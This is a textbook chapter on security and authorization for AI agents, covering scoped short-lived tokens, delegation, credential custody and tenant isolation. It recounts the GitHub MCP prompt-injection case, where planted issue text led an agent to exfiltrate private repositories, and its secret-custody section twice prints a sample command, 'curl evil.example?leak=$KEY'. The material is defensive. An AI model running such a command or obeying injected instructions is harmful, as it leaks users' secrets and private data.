AI Infra
0%
Part VIII · Chapter 56

Security and Authorization

AuthorChangkun Ou
Reading time~20 min

An agent acts in the world with someone's authority, and the central security question is how much of that authority travels with each call and for how long. A standing broad token plus a prompt injection, an instruction hidden in untrusted content, equals a breach because the injected instruction inherits the whole grant. Identity and governance split the work of bounding that authority, while budget and audit sit downstream of a verified principal rather than forming systems of their own.

2026-06-21T21:25:24.626020 image/svg+xml Matplotlib v3.11.0, https://matplotlib.org/
Figure 56.1. Schematic of privilege retained through delegation. Ambient authority stays dangerously flat, while capability-scoped delegation decays with each handoff. Idealized curves, not measured data.

The breach that names the problem

In May 2025, Invariant Labs disclosed a clean way to turn a reasonable configuration into a cross-repository data leak (Invariant Labs 2025). The GitHub integration for the Model Context Protocol (MCP), the tool-connection layer that exposes external systems to an agent, followed a common pattern: one personal access token, broad enough to span a user's repositories, reused for the life of a session. An attacker planted instructions in a public issue. When the agent read that issue, it followed the planted instructions, and because the single token already covered the user's private repositories, the agent used it to exfiltrate their contents. The failure was not a leaked secret. It was a correctly held secret that was too broad and too durable.

That sentence names the problem, so it is worth taking apart. An agent's purpose is to take actions: read a repository, send an email, query a warehouse, call a model. Each action needs authority, and the tempting default is to authorize the agent once with a broad credential and let it reuse that credential for the session's life. The trouble is that a standing grant is reachable by anything that can reach the agent, and an agent's input channel is open by construction: it reads untrusted content. An attacker who plants instructions in a web page, a file, or a tool's output (indirect prompt injection, of which tool poisoning, a malicious tool description that hijacks the agent, is one variant) can steer the agent into using that grant. The token does not know whether the agent decided to act or was steered into it.

So the attack surface is the scope list. Authority that is broad and long-lived turns a single injected instruction into the union of everything the credential permits (Figure 56.2). The blast radius extends well past the one repository the attacker reached, out to every repository the same token covered.

fanout inj Injected instruction in untrusted content ag Agent reads open input channel inj->ag  steers tok One standing token broad scope, long TTL ag->tok  reuses r1 repo 1 tok->r1 r2 repo 2 tok->r2 rn repo N tok->rn  exfiltrate
Figure 56.2. Ambient authority: one injected instruction inherits the entire scope of one long-lived token, so the blast radius is the union of every resource the credential covers. After the Invariant Labs GitHub MCP disclosure (2025).

The GitHub case is one shape of a more general failure, and three further problems compound it. The agent runs on shared infrastructure, so the platform must know which tenant an action belongs to, or a retrieval query silently returns one tenant's data into another's session. Provider keys and OAuth tokens that pay for and authorize the work must not be reachable by the generated code that might leak them. And when a human withdraws consent, the authority already issued must actually stop, not merely be flagged. Each of these is the same question asked of a different resource: how much authority travels, and for how long.

Figure 56.3. One token and the resources its scope reaches. A standing, broadly-scoped token puts the whole reachable set one injected instruction away, and a longer TTL widens the exposure window. Switch to a short-lived capability token, minted per call, and the blast radius collapses to the one resource the call actually needs. Illustrative.

Two fabrics, one verb

The answer is to make authority a first-class, narrow, short-lived, attributed thing. In a mature platform that thing is owned by two cooperating fabrics that split a single verb: governance declares what an agent may attempt, and identity enforces it on the wire. Before reaching that seam, both fabrics consume the same primitive.

The principal tuple

Every operation resolves its caller into (user_id, tenant_id, agent_id, workload_id, scopes, attributes) and answers one question: may this principal take this action on this resource? That tuple is what every other system consumes. Persistence stamps it on a session, the cost pipeline bills against it, the audit log attributes to it. An audit entry that records "session X did Y" without the verified tuple cannot answer the only questions an investigation asks, which are who and for which tenant.

Three identities, not a hierarchy

The harness reconciles three principals on every call, and they are orthogonal axes that cannot be collapsed (Figure 56.4).

U User identity human, SSO, MFA A Agent identity name, version, capabilities U->A on-behalf-of W Workload identity pod, process, SPIFFE ID A->W runs as EXT External systems W->EXT calls
Figure 56.4. Three orthogonal principals reconciled on every call. The user is delegated onto the agent, the agent runs as a workload, and the workload reaches external systems. Each axis answers an attribution the other two cannot.

The user is the human authenticated through SSO, with consent that can be withdrawn. The agent, by contrast, is a named and versioned principal carrying its own capability surface, and that surface is what makes "the agent did X, not the user" expressible at all. Last comes the workload, the runtime itself, which settles a question the other two cannot: is this a legitimate harness replica, or something else in the cluster that obtained a token? Each identity closes an attack the others leave open, and each carries an attribution the others cannot.

Declares versus enforces

Two fabrics split the work of bounding authority, and the seam between them is the load-bearing idea. Governance declares an attenuation: this agent may only read, only this repository, only under a spending ceiling. Identity enforces it, by minting a token scoped to exactly that and refusing to mint anything broader. Capability attenuation is governance's vocabulary; token scoping is identity's mechanism for making it true on the wire. The cleanest test for which fabric owns a concern: if revoking it changes who can reach a resource, it is identity; if revoking it changes what an authorized principal is permitted to attempt, it is governance. A token's scope claim sits on the seam precisely because identity writes it to encode what governance decided (Figure 56.5).

cluster_GOV Governance: declares cluster_ID Identity: enforces doc Agent document prompt, tool grants, budget, approvals att Attenuation read only, this repo, under a ceiling doc->att mint Token broker mints scoped token, refuses anything broader att->mint scope claim on the seam ext External system mint->ext on the wire rev Revoke it: what changes? rev->doc what a principal may attempt rev->mint who can reach a resource
Figure 56.5. Governance declares an attenuation, identity enforces it by minting a token scoped to exactly that. The scope claim sits on the seam. The revocation test names which fabric owns a concern: who-can-reach is identity, what-may-attempt is governance.

Governance treats the agent as a document, not a running process: a named, owner-signed, versioned record of its prompt, its tool grants, its model binding, its budget, and its approval steps. The document is the thing that answers "what was this agent allowed to do at the moment it acted," because the allowance is the document at a point in version control. The load-bearing invariant on delegation is CchildCparentC_{child} \subseteq C_{parent}: authority can only ever shrink as work is handed down a chain, never grow.

Credential custody

The provider key and the OAuth token live in the fabric, never in the agent's environment, config, logs, or command history. The agent receives a scoped, short-lived handle that the fabric exchanges for the real credential at call time. This is the same secret-reachability discipline that the harness applies at the sandbox boundary (Chapter 41): generated code must not read high-value secrets. It matters most for provider keys because their blast radius is unattributed spend on someone else's models, discovered on the invoice.

That exchange assumes something can mint the short-lived credential. It holds for a provider key behind a model gateway, and for anything that speaks OAuth token exchange or on-behalf-of. It does not hold for a static third-party secret a vendor will not rotate per call: a payment key, a database password, a partner API token. The tempting fix is to hand that secret to the sandbox directly, as an environment variable or a mounted file. That is universal and needs no code change, but it moves the real secret inside the box, where the lethal trifecta of Chapter 57 turns one injected curl evil.example?leak=$KEY into an exfiltration. The custody discipline survives for a static secret through egress substitution: the box holds an opaque placeholder in the secret's place, and a TLS-terminating egress proxy holds the real value and swaps it onto the wire, but only toward the hosts the credential is scoped to. A placeholder sent anywhere else is inert, so leaking it buys the attacker nothing. The cost is explicit and worth naming: the proxy terminates TLS for the scoped hosts, so it reads the plaintext of those requests and the client must trust its certificate authority; and it cannot help authentication that never puts the secret verbatim on the wire, request signing (AWS SigV4) or challenge-response (SCRAM), because there is nothing to substitute.

The secret lives in an external trust plane. The workload dials a local proxy that forwards each call and attaches the real credential. The secret never enters the box, but the proxy has to understand every provider it fronts, and the code must be written to call it. The plumbing grows with the provider list.
Drop the proxy and put the real secret in the sandbox as an environment variable or a mounted file. Any SDK reads it with no code change. The secret now sits inside the box, so one injected curl evil.example?leak=$KEY exfiltrates it: the lethal trifecta is open.
Give the box an opaque placeholder and keep the real secret in a TLS-terminating egress proxy. The proxy swaps the placeholder for the secret only toward the credential's scoped hosts. The same env-var simplicity as step 2, but the exfiltration now leaks an inert placeholder.
Figure 56.6. Three deliveries of a static third-party secret. Each step keeps the previous one's gain and pays down its cost: the sidecar keeps the secret out but is provider-aware, injection is universal but exposes the secret, substitution is universal and keeps the secret out of the box.
vault Secret store (real secret) prox TLS-terminating egress proxy vault->prox real secret (never enters box) sb Sandbox env var = placeholder sb->prox request carries placeholder api Scoped host api.provider.com prox->api placeholder to secret, substituted evil Attacker host evil.example prox->evil placeholder passes through, inert
Figure 56.7. Egress substitution. The sandbox holds only an opaque placeholder. A TLS-terminating egress proxy swaps in the real secret toward the credential's scoped host, and passes the placeholder through unchanged everywhere else, so an exfiltration attempt carries nothing usable.

Tenancy as the coarsest ownership axis

Every resource carries a tenant attribute or is silently trapped in one tenant. Isolation then lives on a spectrum whose defining property is blast radius on a bug, and the choice is made per resource class rather than platform-wide, because blast radius is not uniform: a leaked audit row is a confidentiality incident, but a leaked cross-tenant memory retrieval is an active data breach that surfaces one tenant's content inside another's live session (Chapter 39, Chapter 44).

From broad to ephemeral

The packaging of authority for a call has moved steadily from broad and durable toward narrow and ephemeral, driven by each incident that the prior shape made possible. The GitHub breach sits at the start of that arc, not the end: it is what the oldest packaging looks like when an agent reads untrusted input.

Broad bearer tokens were the default because they are one consent dialog and one credential. Their cost is temporal: a broad token is a standing grant reachable by anything that can reach the agent. GitHub's fine-grained personal access tokens and Google's narrowed consent screens exist to claw back from this pattern. So does the protocol that carried the breach: the June 2025 revision of the MCP specification makes every MCP server an OAuth 2.1 resource server and requires clients to bind each token to one server's canonical URI via RFC 8707 resource indicators, so a token minted for one server is refused by every other (Model Context Protocol 2025).

Short-lived capability tokens invert the standing grant: each tool call mints a token carrying exactly the permissions that call needs, with a TTL in minutes, so the window in which a leaked or injected call can do damage shrinks from a session to a single operation. Macaroons (2014) and Biscuit are the formal grounding: tokens a holder can attenuate, adding caveats that only further restrict, never widen, so a service hands a strictly weaker token to the next hop without calling back to the issuer (Birgisson et al. 2014). This is the object-capability discipline, and it is exactly CchildCparentC_{child} \subseteq C_{parent} expressed at the token layer.

on-behalf-of (OBO) propagates the user's authority end to end instead of replacing it with the agent's, so a warehouse's row-level security sees the human, not the service account. RFC 8693 formalizes the token exchange (Jones et al. 2020); the agent-specific proposal, the IETF draft on on-behalf-of-user authorization for AI agents, encodes user plus agent plus client identity in one delegated token, though it remains an individual draft rather than an adopted standard (IETF 2025). Okta for AI Agents (Okta 2025) and Auth0's agent-identity work (Auth0 2026) ship this as product rather than draft.

Workload identity (SPIFFE/SPIRE) lets the pod prove what it is cryptographically, with no shared secret to leak. It is what lets the token broker refuse to mint a user token for a process that merely sits in the cluster, and it is standard for anything multi-replica.

The selection rule that this history settles into: broad scopes are defensible only for single-user, low-privilege deployments; capability tokens earn their plumbing when actions are high-privilege or irreversible; OBO is load-bearing whenever downstream authorization is user-dependent; SPIFFE is standard for anything multi-replica.

What's contested

Whether governance is a primitive distinct from identity is genuinely unsettled. The skeptical position is that identity already issues attenuable, scoped, delegatable tokens (Macaroons, Biscuit, OBO, the agent_id in its tuple), so there is nothing left for a separate fabric to own. The separation argument answers with a question identity cannot answer alone: what was this agent allowed to do at the moment it acted? The answer is not a token scope; it is a prompt, a tool list, a budget, and a set of approval steps, the agent's versioned document, which identity never held. The counterweight is that the market is thin: there is no mature, vendor-neutral "governance fabric" category the way there is for identity (Okta, Auth0, SPIFFE) or sandboxes. A thin market is what an under-served primitive looks like before it is named, but it is also what a non-primitive looks like, and that is why the question stays open.

Where it bites

Every choice here prices one good against another, and the knees are sharp. Five trade-offs recur, and each one is a place where a defensible decision has a sharp downside that the alternative does not.

  • Isolation granularity versus sharing flexibility. Flat-user tenancy is trivially isolated and cannot share. A three-level org-project hierarchy is legible by inspection but calcifies the moment the real org is a matrix rather than a tree. Attribute-based access fits any topology but makes "who can see what?" undecidable by reading the data, which breaks offline audit and erasure traversals. Pick the simplest shape that fits the org and leaves the ownership graph walkable.
  • Revocation latency versus long TTL. Revocation latency is unavoidable with bearer tokens: a user withdrawing consent does not reach into already-issued tokens, so the session runs on revoked authority until the token expires. The TTL is therefore the ceiling on how long a revoked grant stays exploitable. Long-TTL tokens and a right to immediate revocation are mutually exclusive, and the more sensitive the tenant, the shorter the token must live.
  • Partition-at-write versus filter-at-read. A tenant_id filter applied at read time is one missing WHERE clause from a leak; an index that is physically per-tenant cannot leak even if the query is wrong. Filtering is cheap; partitioning is safe.
  • Consent fatigue. Re-prompting on every action trains users to grant the broadest scope available just to silence the dialog, which manufactures the ambient authority the whole design fights. The structural fix is to make the agent a first-class identity with its own durable, auditable grant rather than a proxy that re-borrows the user's authority per action.
  • Centralization versus availability. A single fabric in front of all model inference makes attribution and synchronous budget enforcement possible, but it is by construction a single point of failure: when it is down, every active session stalls at once. The centralization that buys control must be paid for with a fallback route and a circuit breaker.

Change the TTL below and watch the window in which a revoked token stays exploitable: with consent withdrawn at a random moment in the token's life, the mean exposure is half the TTL and the worst case is the full TTL.

import numpy as np

rng = np.random.default_rng(0)
trials = 100_000
for ttl_min in [60, 15, 5, 1]:
    # consent withdrawn at a uniformly random moment within the token's life
    withdraw = rng.uniform(0, ttl_min, trials)
    # exposure = time the session keeps running on revoked authority
    exposure = ttl_min - withdraw
    print(f"TTL={ttl_min:>3} min  ->  mean exposure {exposure.mean():5.2f} min,"
          f"  worst case {exposure.max():5.2f} min")
print("\nExposure window scales linearly with TTL: the TTL is the ceiling.")
Constraint arrow

Budget enforcement is dictated by identity, not by the cost system. A cap that says "this tenant may spend five thousand dollars a month" is meaningless unless every model call carries a verified tenant at the moment of the call, before the spend happens (Chapter 76). The runaway-spend incidents, the $47,000 agent loop (Waxell 2025) and the Claude Code recursion that burned 1.67 billion tokens in five hours (anthropics/claude-code 2025), are not purely cost-system failures. Budgets existed in both; they fired on spend the system could attribute only after the money was gone. Per-tenant enforcement is downstream of a verified principal because attribution has to precede the call, and a cost cap can only be as precise as the identity handed to it.

The component that answers the verb

The component that actually answers "may this caller take this action on this resource?" is a policy engine, and it is the most visible artifact of the fabric. OPA / Rego is Kubernetes-native and data-driven, with a real learning curve. AWS Cedar is typed and analyzable, so you can ask formal questions of a policy ("can any principal ever reach this resource?") rather than only testing it. Oso is authorization as a library with a relationship model; Permit.io composes these backends behind one API. The query these engines answer became a standard of its own in January 2026, when the OpenID Foundation finalized the AuthZEN Authorization API: one vendor-neutral wire format for the per-action question, whichever engine sits behind it (OpenID Foundation 2026). A production system runs two policy surfaces and should keep them separate: the resource-access policy that identity owns ("can this identity read this resource?") and the action-risk policy that governance owns ("may this agent send this email?"), because they change for different reasons and on different cadences, and the latter is where human approval is placed (Chapter 55).

The isolation tiers

The isolation tiers, chosen per resource class:

Tier Mechanism Blast radius on bug Fit
Logical Shared DB plus tenant column plus enforced filter One missing WHERE leaks everything Dev, internal tools, low-stakes SaaS
Namespace Separate schemas or namespaces per tenant Misrouted query hits one wrong tenant Most B2B SaaS
Physical Separate DBs, clusters, or accounts per tenant Bug stays inside one tenant Regulated, large enterprise, sovereign cloud

A mature platform mixes tiers deliberately: sessions logically partitioned for cost, high-sensitivity memory physically isolated, audit as a shared physical store with tenant-tagged rows. The trap that runs underneath all of it is implicit tenancy from request headers: if tenant_id is read from an HTTP header with no cryptographic binding (a JWT claim, an mTLS client cert), a single spoofed header bypasses the most carefully chosen physical tier at the front door.

Closing the loop

Two operational patterns close the loop. Budget enforcement must be synchronous with the call, living in the model-access fabric or the gateway, the only points with both per-call context and the authority to refuse; a budget enforced by the billing system is an alert, not enforcement, because it fires after the spend. Right-to-erasure, in tension with audit's demand that the record persist, is resolved by tombstone-plus-proof: purge the payload, keep the tamper-evident chain intact, and prove the deletion rather than silently dropping a row.

The recurring failure modes are all identity edges drawn imprecisely. Ambient authority is the GitHub MCP shape: one long-lived token, every call, prompt injection triggers anything it permits. Agent-to-agent delegation that forwards the user's token hands the next agent the user's full authority with none of the user's intent attached; the correct shape is a delegated, attenuated token that names the chain and narrows scope at each hop, and botched delegation is a leading cause of multi-agent failure (Cemri et al. 2025) (Chapter 43). Cross-tenant retrieval bleed-over is the highest-risk class, mitigated by partition-at-write over filter-at-read. Silent tenant coupling, where a resource inherits tenancy implicitly at creation, becomes unshareable and un-re-parentable without a migration that implicit tenancy is exactly unable to express.

Further reading

  • GitHub, “Fine-grained personal access tokens,” n.d.. docs.github.com
    GitHub documentation page explaining fine-grained personal access tokens as a more secure alternative to classic tokens, with per-repository scope and explicit permission controls.
  • Brunel & others, “Biscuit: Decentralized Authorization with Attenuable Tokens,” n.d.. biscuitsec.org
    Eclipse Biscuit is an authorization token with decentralized verification, offline attenuation, and logic-language-based security policy enforcement.
  • IETF, “OAuth 2.0 On-Behalf-Of User for AI Agents,” 2025. datatracker.ietf.org
    An IETF Internet-Draft defining an OAuth 2.0 extension with a new grant type and requested_agent parameter so AI agents can obtain delegated access tokens on behalf of users with explicit consent.
  • SPIFFE/SPIRE, “Secure Production Identity Framework for Everyone,” n.d.. spiffe.io
    SPIFFE and SPIRE provide a universal identity control plane that issues strongly attested cryptographic identities to workloads across heterogeneous distributed systems.
  • AWS, “IAM Identity Federation and Attribute-Based Access Control,” n.d.. docs.aws.amazon.com
    AWS IAM docs page explaining ABAC, an authorization strategy that grants permissions by matching resource tags to principal tags, scaling better than role-based access control.
  • Google, “IAM Overview, Resource Hierarchy and Conditions,” n.d.. cloud.google.com
    Google Cloud IAM overview documentation explains how the Identity and Access Management system works and how to use it to control access to Google Cloud resources.
  • AWS, “Cedar Policy Language,” n.d.. cedarpolicy.com
    Cedar Language Playground is an interactive browser-based tool for authoring and testing Cedar authorization policies used in AWS services.
  • CNCF, “Open Policy Agent (OPA),” n.d.. openpolicyagent.org
    Open Policy Agent (OPA) is a CNCF general-purpose policy engine that unifies policy enforcement across applications, Kubernetes, API gateways, and CI/CD pipelines using the Rego declarative language.
  • Oso, “Authorization as a Library, Relationship-Based Access Control,” n.d.. osohq.com
    Oso is a commercial platform that provides monitoring, access controls, and automated least-privilege authorization for AI agents running in production.
  • Permit.io, “Authorization-as-a-Service for Fine-Grained Access Control,” n.d.. permit.io
    Permit.io is an authorization platform that provides fine-grained, real-time access control for AI agents using RBAC, ABAC, and ReBAC policies enforced at action time.
  • Salesforce, “Agentforce Trust Layer and Agent Identity,” 2025. salesforce.com
  • Google et al., “Agent-to-Agent (A2A) Protocol,” 2025. a2aprotocol.org
    A2A (Agent2Agent) is an open protocol by Google for standardized interoperability between AI agents, covering agent discovery via Agent Cards, task lifecycle management, and multi-modal content exchange.
  • Pinecone, “Managed Vector Database for AI,” n.d.. pinecone.io
  • pgvector, “Open-source Vector Similarity Search for Postgres,” n.d.. github.com
    pgvector is an open-source PostgreSQL extension that adds a vector data type and similarity search operators for nearest-neighbor retrieval.
  • Anthropic, “Claude Code Plugins and Subagents Reference,” n.d.. code.claude.com
    The Claude Code plugins reference page documents the complete technical specification for extending Claude Code with custom skills, agents, hooks, MCP servers, and other components via a plugin directory system.
  • Model Context Protocol, “Model Context Protocol Specification, Revision 2025-06-18: Authorization” (MCP servers as OAuth 2.1 resource servers; RFC 8707 audience binding made mandatory), 2025. modelcontextprotocol.io
  • OpenID Foundation, “AuthZEN Authorization API 1.0” (a vendor-neutral wire format for the per-action authorization query), 2026. openid.net

Comments

Log in to comment